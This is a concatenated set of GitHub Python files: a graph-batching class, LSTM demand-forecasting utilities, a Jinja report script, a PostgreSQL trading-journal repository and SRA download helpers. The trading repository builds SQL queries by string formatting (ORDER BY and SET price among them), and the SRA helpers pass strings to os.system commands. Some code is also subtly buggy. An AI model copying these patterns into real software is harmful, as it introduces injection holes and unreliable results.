GraphBatch:\n return cls.from_graphs([Graph.from_networkx(graph_nx) for graph_nx in networkxs])\n\n @classmethod\n def collate(cls, samples):\n \"\"\"Collates a sequence of samples containing graphs into a batch\n\n The samples in the sequence can contain multiple types of inputs, such as:\n\n >>> [\n >>> (input_graph, tensor, other_tensor, output_graph),\n >>> (input_graph, tensor, other_tensor, output_graph),\n >>> ...\n >>> ]\n\n \"\"\"\n if isinstance(samples[0], Graph):\n return cls.from_graphs(samples)\n elif isinstance(samples[0], collections.abc.Mapping):\n return {key: cls.collate([d[key] for d in samples]) for key in samples[0]}\n elif isinstance(samples[0], collections.abc.Sequence):\n transposed = zip(*samples)\n return [cls.collate(samples) for samples in transposed]\n else:\n return default_collate(samples)\n\n\nclass _BatchView(object):\n def __init__(self, batch: GraphBatch):\n self._batch = batch\n self._pooling_functions = {\n 'mean': lambda src, idx: torch_scatter.scatter_mean(src, idx, dim=0, dim_size=batch.num_graphs),\n 'sum': lambda src, idx: torch_scatter.scatter_add(src, idx, dim=0, dim_size=batch.num_graphs),\n 'max': lambda src, idx: torch_scatter.scatter_max(src, idx, dim=0, dim_size=batch.num_graphs)[0],\n }\n\n def __len__(self):\n return self._batch.num_graphs\n\n\nclass _BatchNodeView(_BatchView):\n def __getitem__(self, graph_index) -> torch.Tensor:\n node_offset = self._batch.num_nodes_by_graph[:graph_index].sum()\n num_nodes = self._batch.num_nodes_by_graph[graph_index]\n return self._batch.node_features[node_offset:node_offset + num_nodes]\n\n def __iter__(self) -> Iterator[torch.Tensor]:\n for slice_ in segment_lengths_to_slices(self._batch.num_nodes_by_graph):\n yield self._batch.node_features[slice_]\n\n def as_tuple(self) -> Tuple[torch.Tensor]:\n \"\"\"Convenience method to get a tuple of non-aggregated node features.\n\n Better than building a tuple from the iterator: `tuple(batch.node_features_by_graph)`\"\"\"\n return torch.split_with_sizes(self._batch.node_features, self._batch.num_nodes_by_graph.tolist(), dim=0)\n\n def __call__(self, aggregation) -> torch.Tensor:\n aggregation = self._pooling_functions[aggregation]\n return aggregation(self._batch.node_features, segment_lengths_to_ids(self._batch.num_nodes_by_graph))\n\n\nclass _BatchEdgeView(_BatchView):\n def __getitem__(self, graph_index) -> torch.Tensor:\n edge_offset = self._batch.num_edges_by_graph[:graph_index].sum()\n num_edges = self._batch.num_edges_by_graph[graph_index]\n return self._batch.edge_features[edge_offset:edge_offset + num_edges]\n\n def __iter__(self) -> Iterator[torch.Tensor]:\n for slice_ in segment_lengths_to_slices(self._batch.num_edges_by_graph):\n yield self._batch.edge_features[slice_]\n\n def as_tuple(self) -> Tuple[torch.Tensor]:\n \"\"\"Convenience method to get a tuple of non-aggregated edge features.\n\n Better than building a tuple from the iterator: `tuple(batch.edge_features_by_graph)`\"\"\"\n return torch.split_with_sizes(self._batch.edge_features, self._batch.num_edges_by_graph.tolist(), dim=0)\n\n def __call__(self, aggregation) -> torch.Tensor:\n aggregation = self._pooling_functions[aggregation]\n return aggregation(self._batch.edge_features, segment_lengths_to_ids(self._batch.num_edges_by_graph))\n","repo_name":"gn-exp/gn-exp","sub_path":"src/torchgraphs/data/graphbatch.py","file_name":"graphbatch.py","file_ext":"py","file_size_in_byte":16452,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"53"} +{"seq_id":"71078097129","text":"import os\nimport sys\nimport numpy as np\nimport pandas as pd\nimport pickle\nimport matplotlib.pyplot as plt\n#sys.path.append(\"BIXI-Demand-Prediction/src\")\nfrom src.exception import CustomException\n\n\n#######################################################################\n# the source of randomness can be fixed to make results reproducible\nfrom numpy.random import seed\nimport itertools\n#######################################################################\nfrom keras.models import Sequential, Model\nfrom keras.layers import Input, Dense, LSTM, Bidirectional, Conv1D, MaxPooling1D, Dropout, Flatten, BatchNormalization, concatenate, TimeDistributed\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping\n\n#######################################################################\nfrom sklearn.metrics import r2_score, mean_absolute_error, mean_squared_error\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler\n##########################################################################\nimport tensorflow as tf\nfrom keras.models import save_model, load_model\n\n\nclass utility:\n \n def save_object(file_path, obj, h5=False):\n try:\n dir_path = os.path.dirname(file_path)\n os.makedirs(dir_path, exist_ok=True)\n if h5:\n save_model(obj, file_path)\n \n else:\n with open(file_path, 'wb') as file_obj:\n pickle.dump(obj, file_obj)\n \n except Exception as e:\n raise CustomException(e, sys)\n\n def load_object(file_path, h5=False):\n try:\n if h5:\n return load_model(file_path, compile=False)\n else:\n with open(file_path, 'rb') as file_obj:\n return pickle.load(file_obj)\n \n except Exception as e:\n raise CustomException(e, sys)\n\n \n def split_sequence(sequence, lag, new_input=False):\n '''\n This function splits a given univariate sequence into\n multiple samples where each sample has a specified number\n of time steps and the output is a single time step.\n param new_input: If True it is used for predicting new input\n '''\n try:\n if new_input:\n X = list()\n for i in range(len(sequence)):\n # find the end of this pattern\n end_ix = i + history_length\n # check if we are beyond the sequence\n if end_ix > len(sequence):\n break\n # gather input and output parts of the pattern\n seq_x = sequence[i:end_ix]\n X.append(seq_x)\n return np.array(X)\n \n else:\n X, y = list(), list()\n for i in range(len(sequence)):\n # find the end of this pattern\n end_ix = i + lag\n # check if we are beyond the sequence \n if end_ix > len(sequence)-1:\n break\n # gather input and output parts of the pattern\n seq_x, seq_y = sequence[i:end_ix], sequence[end_ix]\n X.append(seq_x)\n y.append(seq_y)\n return np.array(X), np.array(y)\n \n except Exception as e:\n raise CustomException(e, sys)\n \n def convert_to_supervised(dat, lag):\n '''\n This function takes a 2D sequennce, scales the array and splits\n a given multivariate sequence into multiple samples where each sample has a specified number\n of time steps. It returns multiple time steps as well as the scaler.\n param df (DataFrame): Bike sharing demand for each community over time\n param lag (int): History length or time lag\n '''\n \n try:\n if isinstance(dat, np.ndarray):\n pass\n else:\n dat = dat.values\n \n m, n = dat.shape\n # e.g., if lag = 7, BIXI demand of past 7*15 minutes\n X = np.zeros((m-lag,lag, n))\n Y = np.zeros((m-lag,n))\n\n for i in range(0,n):\n x, y = utility.split_sequence(dat[:,i], lag)\n X[:,:,i] = x\n Y[:,i] = y\n return X, Y\n \n except Exception as e:\n raise CustomException(e, sys)\n \n def convert_to_CNN_input(X, n_seq, n_steps):\n try:\n m, _, n = X.shape \n return X.reshape((m, n_seq, n_steps, n))\n \n except Exception as e:\n raise CustomException(e, sys)\n\n \n def integer_factor(n):\n \"\"\" This function calculates integer factorization of n\n and then returns them as two multiplications\n \"\"\"\n def is_prime(n):\n if n == 1:\n return False\n if n % 2 == 0:\n return False\n i = 3\n while i * i <= n:\n if n % i == 0:\n return False\n i += 2\n return True\n\n def prime_factors(n):\n prime_factor_list = []\n prime_factor_list.append(1)\n for i in itertools.chain([2], itertools.count(3, 2)):\n if n <= 1:\n break\n while n % i == 0:\n n //= i\n prime_factor_list.append(i)\n return prime_factor_list\n \n lst = prime_factors(n)\n lng = len(lst)\n half= int(np.round(lng/2+1))\n list1, list2 = lst[0:half], lst[half:]\n n_steps, n_sequence = np.prod(list1), np.prod(list2)\n return n_steps, n_sequence\n\n ######################### Deep Learning Models Archituctures ############################\n # LSTM family\n def one_LSTM(n_steps_in, n_features, n_steps_out, lstm_size, dropout, dc_size):\n model = Sequential()\n model.add(BatchNormalization(input_shape=(n_steps_in, n_features)))\n model.add(LSTM(lstm_size, dropout=dropout, recurrent_dropout=0, activation='tanh', return_sequences=True))\n model.add(BatchNormalization())\n model.add(Flatten())\n model.add(Dense(dc_size))\n model.add(Dropout(dropout))\n model.add(Dense(n_steps_out))\n model.compile(optimizer='adam', loss='mean_squared_error',metrics=['MSE'])\n return model\n\n def one_biLSTM(n_steps_in, n_features, n_steps_out, lstm_size, dropout, dc_size):\n model = Sequential()\n model.add(BatchNormalization(input_shape=(n_steps_in, n_features)))\n model.add(Bidirectional(LSTM(lstm_size, dropout=dropout, recurrent_dropout=0, activation='tanh', return_sequences=True)))\n model.add(BatchNormalization())\n model.add(Flatten())\n model.add(Dense(dc_size))\n model.add(Dropout(dropout))\n model.add(Dense(n_steps_out))\n model.compile(optimizer='adam', loss='mean_squared_error',metrics=['MSE'])\n return model\n\n \n ## CNN-LSTM family\n def TreNet_LSTM(n_steps_in, n_features, n_steps_out, filters, lstm_size, dropout, dc_size):\n n_steps, n_seq = utility.integer_factor(n_steps_in)\n model = Sequential()\n model.add(TimeDistributed(Conv1D(filters=filters, kernel_size=1),\n input_shape=(None, n_steps, n_features)))\n model.add(TimeDistributed(Conv1D(filters=filters, kernel_size=1, activation='relu')))\n model.add(TimeDistributed(Flatten()))\n model.add(LSTM(lstm_size, activation='tanh', recurrent_dropout=0))\n model.add(Dense(dc_size))\n model.add(Dropout(dropout))\n model.add(Dense(n_steps_out))\n model.compile(optimizer='adam', loss='mean_squared_error',metrics=['MSE'])\n return model\n\n def TreNet_biLSTM(n_steps_in, n_features, n_steps_out, filters, lstm_size, dropout, dc_size):\n n_steps, n_seq = utility.integer_factor(n_steps_in)\n model = Sequential()\n model.add(TimeDistributed(Conv1D(filters=filters, kernel_size=1),\n input_shape=(None, n_steps, n_features)))\n model.add(TimeDistributed(Conv1D(filters=filters, kernel_size=1, activation='relu')))\n model.add(TimeDistributed(Flatten()))\n model.add(Bidirectional(LSTM(lstm_size, dropout=dropout, recurrent_dropout=0, activation='tanh')))\n model.add(Dense(dc_size))\n model.add(Dropout(dropout))\n model.add(Dense(n_steps_out))\n model.compile(optimizer='adam', loss='mean_squared_error',metrics=['MSE'])\n return model\n \n \n ######################### Model Performance & Visualization ############################\n def model_loss(history,label2='Validation Loss'):\n plt.figure(figsize=(8,4))\n plt.plot(history.history['loss'], label='Train Loss')\n plt.plot(history.history['val_loss'], label=label2)\n plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epochs')\n plt.legend(loc='upper right')\n plt.grid(linestyle=\"--\")\n plt.show();\n\n def evaluate_forecasts(actual, predicted, text = \"Test\", plot=True):\n \"\"\"\n Evaluate prediction performance based on RMSE and MAE\n \"\"\"\n RMSEs = list()\n MAEs = list()\n # calculate an RMSE score for each day\n for i in range(actual.shape[1]):\n # calculate mse\n mse = mean_squared_error(actual[:, i], predicted[:, i])\n # calculate rmse\n rmse = np.sqrt(mse)\n # store\n RMSEs.append(rmse)\n\n # calculate mae\n mae = mean_absolute_error(actual[:,i], predicted[:,i])\n # store\n MAEs.append(mae)\n\n # calculate overall RMSE and MAE\n y_true = actual.flatten()\n y_hat = predicted.flatten()\n\n overal_mae = mean_absolute_error(y_true, y_hat)\n overal_rmse = np.sqrt(mean_squared_error(y_true, y_hat))\n\n print(\"#### Evaluating performance metrics ####\")\n print(\"\\n====\"+ text+\" SET ====\")\n print(\"MAE: {0:.3f}\".format(overal_mae))\n print(\"RMSE: {0:.3f}\".format(overal_rmse))\n print(\"MAEs: \", np.round(MAEs,3))\n print(\"RMSEs: \", np.round(RMSEs,3))\n\n if plot:\n plt.plot(np.arange(len(RMSEs)), RMSEs, label=True)\n plt.plot(np.arange(len(MAEs)), MAEs, label=True)\n plt.grid(linestyle=\"--\")\n plt.xlabel(\"Community number\")\n plt.legend([\"RMSE\", \"MAE\"])\n plt.title(\"Performance metrics for \"+ text +\" dataset\")\n plt.show()\n\n return overal_mae, MAEs, overal_rmse, RMSEs\n \n ############################### Running Models ####################################### \nclass RunningDeepLearningModel:\n def __init__(self, X_train, y_train, X_test, y_test, train_val_ratio=0.8):\n self.X_train = X_train\n self.y_train = y_train\n self.X_test = X_test \n self.y_test = y_test \n self.train_val_ratio = train_val_ratio\n \n \n \n def model_performance(self, Model, lstm_size, dropout, dc_size, batch_size, epoch, patience, filters, **kwargs):\n self.epoch = epoch\n self.batch_size = batch_size\n \n try:\n if Model.__name__ in ['TreNet_LSTM', 'TreNet_biLSTM']:\n CNN = True\n assert filters is not None, 'WARNING: Provide number of filters in payload!'\n elif Model.__name__ in ['one_LSTM', 'one_biLSTM']:\n CNN = False\n assert filters is None, 'WARNING: Change filters to None in payload!'\n else:\n return ('Warning: The model does not exist!')\n\n n_features, n_steps_out, n_steps_in = self.X_train.shape[2], self.X_train.shape[2], self.X_train.shape[1]\n \n if CNN:\n assert filters is not None, 'WARNING: Number of filters must be provided!'\n n_steps, n_seq = utility.integer_factor(n_steps_in)\n \n # reshape from [samples, timesteps, features] into [samples, subsequences, timesteps, features]\n self.X_train = self.X_train.reshape((self.X_train.shape[0], n_seq, n_steps, n_features))\n self.X_test = self.X_test.reshape((self.X_test.shape[0], n_seq, n_steps, n_features))\n \n input_size = {'n_seq':n_seq, 'n_steps':n_steps}\n model = Model(n_steps_in, n_features, n_steps_out, filters, lstm_size, dropout, dc_size)\n\n else:\n input_size = {'n_seq':None, 'n_steps':None}\n model = Model(n_steps_in, n_features, n_steps_out, lstm_size, dropout, dc_size)\n \n model.summary() \n history = model.fit(\n self.X_train,\n self.y_train,\n epochs=epoch,\n batch_size=batch_size,\n verbose=2,\n validation_split=self.train_val_ratio,\n callbacks=[EarlyStopping(monitor='val_loss', patience=patience)]\n )\n \n results=dict()\n train_set, test_set = dict(), dict()\n utility.model_loss(history)\n\n ## Forcasting test and training data\n y_hat_test = model.predict(self.X_test)\n y_hat_train = model.predict(self.X_train)\n\n mae_test, MAEs_test, rmse_test, RMSEs_test = utility.evaluate_forecasts(self.y_test, y_hat_test, \"Test\")\n mae_train, MAEs_train, rmse_train, RMSEs_train = utility.evaluate_forecasts(self.y_train, y_hat_train, \"Train\")\n \n train_set['mae'], train_set['MAEs'], train_set['rmse'], train_set['RMSEs'] = mae_train, MAEs_train, rmse_train, RMSEs_train\n test_set['mae'], test_set['MAEs'], test_set['rmse'], test_set['RMSEs'] = mae_train, MAEs_train, rmse_train, RMSEs_train \n results['train_performance'], results['test_performance'] = train_set, test_set\n\n return Model.__name__, model, results, input_size\n \n except Exception as e:\n raise CustomException(e, sys) \n \n \n \n\n ","repo_name":"Meghdad-DTU/BIXI-Demand-Prediction","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":14276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"34134342126","text":"import json\nimport time\nfrom jinja2 import Environment, FileSystemLoader, StrictUndefined, Template\nimport pandas as pd\nimport re\n\n\n\"\"\"\nFirst this script has to be executed alone.\nThen, once outputFile has been created, execute the following:\n $ python3 -m http.server -d html_report\nThen open a web browser an type on the URL: 'localhost:8000', and the created page should appear.\n\"\"\"\n\n\ndef reader_generator(file):\n while True:\n line = file.readline().strip()\n if not line:\n break\n # time.sleep(0.5)\n yield line\n\n\n# home\nvariants_disgenet = \"/home/ricard/PycharmProjects/vcf_annotation_tool/output_vcf/testing_vdas.tsv\"\nlog_file = \"/home/ricard/PycharmProjects/vcf_annotation_tool/output_vcf/vdas_logs.log\"\noutputFile = \"index.html\"\n\nvcf = pd.read_csv(variants_disgenet, sep=\"\\t\")\n\ncounter_found_items = 0\nnot_found_counter = 0\nerror_counter = 0\nwith open(log_file, 'r') as i_file:\n for line in reader_generator(i_file):\n if 'No information' in line:\n not_found_counter += 1\n elif 'INPUT' in line:\n input_file = re.findall('\\/.+', line)[0]\n elif 'OUTPUT' in line:\n output_file = re.findall('\\/.+', line)[0]\n elif 'ENDPOINT' in line:\n endpoint = re.findall('https:\\/\\/.+', line)[0]\n elif 'ERROR' in line:\n error_counter += 1\n elif 'EXECUTION TIME' in line:\n matches = re.findall('\\d+\\.?\\d*', line)\n minutes = matches[0]\n seconds = matches[1]\n elif 'Added rsID' in line:\n counter_found_items += 1\n\n# vcf = pd.DataFrame(data=vcf[1:], columns=vcf[0])\n# vcf_json = vcf.to_json(orient='records')\nvcf_dict = vcf.to_dict(orient='records')\n\nfileLoader = FileSystemLoader(\"templates\")\nenv = Environment(loader=fileLoader, undefined=StrictUndefined)\n\nrendered = env.get_template(\"report.html\").render(vcf_dict = vcf_dict, title = \"List of variants returned by DISGENET plus API\", counterFoundItems = counter_found_items, notFoundCounter = not_found_counter, errorCounter = error_counter, inputFile = input_file, outputFile = output_file, endpoint = endpoint, minutes = minutes, seconds = seconds) # inside render there can be all the variables that we need. The names have to correspond to the ones present in the 'get_template()' file\n\nwith open(\"./html_report/{}\".format(outputFile), \"w\") as out_f:\n out_f.write(rendered)\n\n","repo_name":"ricardlambea/vcf_annotation_tool","sub_path":"html/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"7890056420","text":"import hashlib\nimport auth_public as auth\n\nimport psycopg2, psycopg2.extensions, psycopg2.extras\npsycopg2.extensions.register_type(psycopg2.extensions.UNICODE) # se znebimo problemov s šumniki\n\nfrom typing import List, TypeVar, Type\nfrom modeli import *\nfrom csv import reader\nfrom re import sub, findall\nfrom datetime import date\nfrom pandas import DataFrame\nfrom dataclasses import fields\nimport os\n\nDB_PORT = os.environ.get('POSTGRES_PORT', 5432)\n\n# Ustvarimo generično TypeVar spremenljivko. Dovolimo le naše entitene, ki jih imamo tudi v bazi\n# kot njene vrednosti. Ko dodamo novo entiteno, jo moramo dodati tudi v to spremenljivko.\nT = TypeVar(\n 'T',\n app_user,\n pair,\n price_history,\n asset,\n trade\n )\n\nclass Repo:\n\n def __init__(self):\n self.conn = psycopg2.connect(database=auth.db, host=auth.host, user=auth.user, password=auth.password, port=DB_PORT)\n self.cur = self.conn.cursor(cursor_factory=psycopg2.extras.DictCursor)\n\n\n def dobi_gen_id(self, typ: Type[T], id: int | str, id_col = 'id') -> T:\n ''' Generična metoda, ki vrne dataclass objekt \n pridobljen iz baze na podlagi njegovega idja. '''\n tbl_name = typ.__name__\n sql_cmd = f'SELECT * FROM {tbl_name} WHERE {id_col} = %s';\n try:\n self.cur.execute(sql_cmd, (id,))\n d = self.cur.fetchone()\n except:\n self.conn.rollback()\n raise Exception(f'Vrstica z id-jem {id} ne obstaja v {tbl_name}');\n return d\n\n\n def dodaj_gen(self, typ: T, serial_col='id', auto_commit=True):\n ''' Generična metoda, ki v bazo doda entiteto/objekt. \n V kolikor imamo definiran serial stolpec,\n objektu to vrednost tudi nastavimo. '''\n tbl_name = type(typ).__name__\n\n cols =[c.name for c in fields(typ) if c.name != serial_col]\n \n sql_cmd = f'''\n INSERT INTO {tbl_name} ({', '.join(cols)})\n VALUES\n ({self.cur.mogrify(','.join(['%s']*len(cols)), [getattr(typ, c) for c in cols]).decode('utf-8')})\n '''\n\n if serial_col != None:\n sql_cmd += f'RETURNING {serial_col}'\n\n self.cur.execute(sql_cmd)\n\n if serial_col != None:\n serial_val = self.cur.fetchone()[0]\n\n # Nastavimo vrednost serial stolpca\n setattr(typ, serial_col, serial_val)\n\n if auto_commit: self.conn.commit()\n \n\n ########################################################################\n ####################### USER ###############################\n ########################################################################\n\n def get_user(self, user_id: int) -> list:\n self.cur.execute('''\n SELECT name, surname, date_of_birth, user_name, password \n FROM app_user\n WHERE id_user = %s\n ''', (user_id,))\n return self.cur.fetchone()\n\n\n def posodobi_user(self, user_id: int, ime: str, priimek: str, datum: date, geslo: str):\n if geslo != '':\n h = hashlib.blake2b()\n h.update(geslo.encode(encoding='utf-8'))\n hash = h.hexdigest()\n self.cur.execute('''\n UPDATE app_user\n SET name = %s, surname = %s, date_of_birth = %s, password = %s\n WHERE id_user = %s; \n ''', (ime, priimek, datum, hash, user_id,))\n else:\n self.cur.execute('''\n UPDATE app_user\n SET name = %s, surname = %s, date_of_birth = %s\n WHERE id_user = %s; \n ''', (ime, priimek, datum, user_id,))\n self.conn.commit()\n\n ########################################################################\n ###################### ASSETS ##############################\n ########################################################################\n\n def uvozi_Price_History(self, tabela: str):\n ''' Vnese zgodovino simbola v tabelo price_history '''\n with open('Podatki/Posamezni_simboli/{0}'.format(tabela)) as csvfile:\n podatki = reader(csvfile)\n next(podatki)\n for r in podatki:\n r = [None if x in ('', '-') else x for x in r]\n self.cur.execute('''\n INSERT INTO price_history\n (symbol_id, date, price)\n VALUES (%s, %s, %s)\n ''', r)\n self.conn.commit()\n print('Uspesno uvozil csv datoteko!')\n\n\n def dodaj_par(self, simbol: str, name: str) -> int:\n try:\n self.cur.execute('''\n INSERT INTO pair (symbol, name) \n VALUES (%s, %s)\n ''', (simbol, name))\n self.conn.commit()\n return 1\n except:\n self.conn.rollback()\n return 0\n\n\n def posodobi_price_history(self, df: DataFrame | None):\n if not df is None:\n for i in df.index:\n if df['price'][i] != 'NaN':\n self.cur.execute('''\n INSERT INTO price_history (symbol_id, date, price)\n VALUES (%s, %s, %s)\n ON CONFLICT (symbol_id, date)\n DO UPDATE SET price = {}\n '''.format(df['price'][i]), (df['symbol_id'][i], df['date'][i], df['price'][i]))\n self.conn.commit()\n \n\n def dobi_asset_by_user(self, id: int) -> List[str]:\n self.cur.execute('''\n SELECT * \n FROM asset \n WHERE user_id = %s\n ''', (id,))\n d = self.cur.fetchall()\n\n seznam = list()\n for i in d:\n seznam.append(i[1])\n return seznam\n \n\n def dobi_asset_amount_by_user(self, user_id: int) -> List[List]:\n self.cur.execute('''\n SELECT symbol_id, amount\n FROM asset\n WHERE user_id = %s\n ''', (user_id,))\n return self.cur.fetchall()\n \n\n def dobi_pare(self) -> List[List]:\n self.cur.execute('''\n SELECT symbol, name\n FROM pair\n ''')\n return self.cur.fetchall()\n\n\n ########################################################################\n ###################### TRADES ##############################\n ########################################################################\n\n def dobi_strategije(self, user_id: int) -> List[str]:\n self.cur.execute('''\n SELECT strategy \n FROM trade\n WHERE user_id = {} \n AND (type = 'L' OR type = 'S') \n GROUP BY strategy\n '''.format(user_id))\n zacasni = self.cur.fetchall()\n seznam = list()\n for item in zacasni:\n seznam.append(item[0])\n return seznam\n\n\n def sign(self, amount: float | str, tip: str) -> float:\n amount = float(amount)\n # Določi predznak\n if tip == 'Sell':\n return -abs(amount)\n return abs(amount)\n\n\n def trade_result(self, user_id: int, simbol: str, pnl: float):\n self.cur.execute('''\n SELECT amount \n FROM asset\n WHERE user_id = '{0}' \n AND symbol_id = '{1}'\n '''.format(user_id, simbol))\n row = self.cur.fetchone()\n if row is None:\n self.cur.execute('''\n INSERT INTO asset (user_id, symbol_id, amount) \n VALUES (%s, %s, %s)\n ''', (user_id, simbol, pnl))\n else:\n amount = round(pnl + float(row[0]), 2)\n self.cur.execute('''\n UPDATE asset \n SET amount = {0} \n WHERE user_id = '{1}' \n AND symbol_id = '{2}'\n '''.format(amount, user_id, simbol))\n self.conn.commit()\n\n\n def dobi_trade_delno(self, user_id: int, column='symbol_id') -> List[T]:\n ''' Če podamo stoplec nam seznam uredi glede na ta stolpec '''\n self.cur.execute('''\n SELECT id_trade, symbol_id, type, strategy, RR, target, date, duration, TP, PNL \n FROM trade\n WHERE user_id = {} \n ORDER BY {} \n '''.format(user_id, column))\n return self.cur.fetchall()\n\n\n def pnl_trade(self, user_id: int, simbol: str, pnl: float | str, brisi=False):\n dollar = findall(r'\\$', pnl)\n \n if dollar == []: # PNL doda pri assetu na katerem je trade\n if brisi == True:\n pnl = -float(pnl)\n Repo().trade_result(user_id, simbol, float(pnl))\n \n elif dollar != []: # PNL doda pri USD\n pnl = sub('\\$','',pnl)\n if brisi == True:\n pnl = -float(pnl)\n Repo().trade_result(user_id, 'USD', float(pnl))\n\n\n def izbrisi_trade(self, trade_id: int):\n\n # Preračuna asset\n self.cur.execute('''\n SELECT user_id, symbol_id, pnl \n FROM trade\n WHERE id_trade = %s\n ''', (trade_id,))\n trade = self.cur.fetchone()\n Repo().pnl_trade(trade[0], trade[1], trade[2], True)\n\n # Izbriše trade iz baze\n self.cur.execute('''\n DELETE FROM trade\n WHERE id_trade = %s \n ''', (trade_id,))\n self.conn.commit()\n","repo_name":"sarazuzek/Pomocnik-za-trgovanje","sub_path":"Database.py","file_name":"Database.py","file_ext":"py","file_size_in_byte":9331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"22441552347","text":"__doc__ = \"\"\"SRR_master的辅助函数\"\"\"\n\nimport os\nimport psutil\nimport platform\nfrom math import ceil\nfrom Sc_RNA_seq.helper import add_color\n\n# 读取配置文件\nfrom Sc_RNA_seq.SRR_master.configure import PRINT_DETAIL\nfrom Sc_RNA_seq.SRR_master.configure import DOWNLOAD_PREFIX\nfrom Sc_RNA_seq.SRR_master.configure import PRINT_WGET_DETAIL\n\n\ndef wget_srr(srr, print_detail, kwargs):\n \"\"\"在命令行执行下载srr\"\"\"\n\n path = kwargs['path']\n # 如果当前目录已存在文件,则不用下载\n if os.path.exists(os.path.join(path, srr + '.sra')):\n return\n\n # 拼接形成下载srr的url\n url_split = [DOWNLOAD_PREFIX, srr[:6], srr, srr + '.sra']\n url = '/'.join(url_split)\n\n try:\n # -c是断点续传\n command_list = ['wget -c', str(url)]\n if not PRINT_WGET_DETAIL:\n command_list.append('-q')\n command_list.extend(['-P', str(path)])\n command = ' '.join(command_list)\n info = os.system(command)\n if print_detail:\n if info:\n text = add_color('× ' + url, 'red')\n # 删掉下载错误的文件\n remove_file(os.path.join(path, srr + '.sra'))\n else:\n text = add_color('√ ' + url, 'green')\n print(text)\n except KeyboardInterrupt:\n # 这条try-except只会在Windows下会执行\n # Windows下子进程先捕获到KeyboardInterrupt,然后传给父进程\n # 而Linux是父进程先捕获到KeyboardInterrupt,然后子进程变成孤儿进程继续运行\n # 我在这里用try-except专门处理Windows下的情况,在consumer函数中专门处理Linux的情况\n\n # 删掉中断下载时那个没下载完的文件\n remove_file(os.path.join(path, srr + '.sra'))\n raise KeyboardInterrupt\n\n\ndef remove_file(target):\n \"\"\"对于下载错误、处理错误、中间产生的文件进行删除\"\"\"\n\n if os.path.exists(target):\n os.remove(target)\n\n\ndef check(target):\n \"\"\"检测操作系统、cpu、内存、硬盘空间、网络\"\"\"\n\n try:\n print('====================')\n result = {}\n if target == 'operator_system':\n print('检查操作系统:')\n operator_system = platform.platform()\n text = add_color(operator_system, 'green')\n result['operator_system'] = operator_system\n elif target == 'cpu':\n print('检查CPU:')\n true_cpu = psutil.cpu_count(logical=False)\n logical_cpu = psutil.cpu_count(logical=True)\n text = '物理核数:%s 逻辑核数:%s' % (add_color(str(true_cpu), 'green'), add_color(str(logical_cpu), 'green'))\n result['true_cpu'] = true_cpu\n result['logical_cpu'] = logical_cpu\n elif target == 'memory':\n print('检查内存:')\n size = psutil.virtual_memory()\n free = round(size.free / 10 ** 9, 3)\n used = round(size.used / 10 ** 9, 3)\n text = '内存 free: %s used: %s' % (add_color(str(free) + 'G', 'green'), add_color(str(used) + 'G', 'red'))\n result['used'] = used\n result['free'] = free\n elif target == 'device':\n print('检查硬盘:')\n print(add_color('在Linux下结果可能不准,在命令行中输入df -h查看硬盘', 'red'))\n all_devices = psutil.disk_partitions()\n text_list = []\n for device in all_devices:\n size = psutil.disk_usage(device.device)\n free = add_color(str(round(size.free / 10 ** 9, 3)) + 'G', 'green')\n used = add_color(str(round(size.used / 10 ** 9, 3)) + 'G', 'red')\n text_list.append('%s free: %s used: %s' % (device.device, free, used))\n text = '\\n'.join(text_list)\n elif target == 'network':\n print('检查网络:')\n print(add_color('Linux下如果不能自行停止请按Ctrl+C', 'red'))\n url = 'www.baidu.com'\n connect = os.system('ping %s' % url)\n if connect:\n text = add_color('%s 连接失败' % url, 'red')\n else:\n text = add_color('%s 连接成功' % url, 'green')\n result['connect'] = connect\n else:\n text = \"target must be in {operator_system, cpu, memory, device, network}\"\n\n print(text)\n return result\n except Exception:\n text = '无法检查当前操作系统的%s' % target\n print(add_color(text, 'red'))\n\n return None\n\n\ndef producer(task, queue, print_detail, queue_size):\n \"\"\"将任务放进队列,在进程间共享\"\"\"\n\n targets = task[:]\n n_task = len(targets)\n n_put = - queue_size\n n_rest = queue_size + len(task)\n\n while True:\n n_rest -= 1\n n_put += 1\n if targets:\n queue.put(targets.pop())\n\n else:\n # 队列里的任务分发完了,就向队列中发送终止信号\n queue.put('close')\n\n # 输出已分发任务个数和已完成的任务\n if 0 < n_put <= n_task and print_detail:\n text = add_color('分发第%d个任务,剩余%d个任务' % (n_put, n_rest), 'green')\n print(text)\n\n\ndef consumer(consumer_name, queue, print_detail, fun, **kwargs):\n \"\"\"消耗队列里的任务\"\"\"\n\n father_id = os.getppid()\n\n # 当父进程被杀死后,getppid将会得到1,所以子进程的while循环也会被终止\n # 我在这里专门处理Linux下的情况,在wget_url函数中专门处理Windows的情况\n while os.getppid() == father_id:\n target = queue.get()\n if target != 'close':\n if print_detail:\n consumer_name = str(consumer_name)\n # text = add_color('消费者'+consumer_name+' get:'+target, 'yellow')\n # print(text)\n pass\n fun(target, print_detail, kwargs)\n else:\n # 如果接受到了终止信号,则停止进程\n break\n\n\ndef distribute_srr(finished_srr, n_worker):\n \"\"\"用于给多进程分发任务\"\"\"\n\n n_srr_per_worker = int(ceil(len(finished_srr) / n_worker))\n split = range(0, len(finished_srr), n_srr_per_worker)\n srr_per_worker = [finished_srr[i: i + n_srr_per_worker] for i in split]\n n_worker = len(srr_per_worker)\n return n_worker, srr_per_worker\n\n\ndef integration_worker(sub_finished_srr, all_result_path):\n \"\"\"对分配的SRR子任务进行读取\"\"\"\n\n pid = os.getpid()\n sub_gse_data_dict = {}\n for count, srr in enumerate(sub_finished_srr, 1):\n if count % 300 == 0 and PRINT_DETAIL:\n print(f'进程: {pid} 完成: {count}/{len(sub_finished_srr)}')\n try:\n with open(os.path.join(all_result_path, srr)) as f:\n # 读掉开始两行\n f.readline()\n f.readline()\n expression = [int(line.strip().split('\\t')[-1]) for line in f]\n sub_gse_data_dict[srr] = expression\n except Exception as e:\n text = '处理错误: ' + srr\n print(add_color(text, 'red'))\n print(add_color(str(e), 'red'))\n return 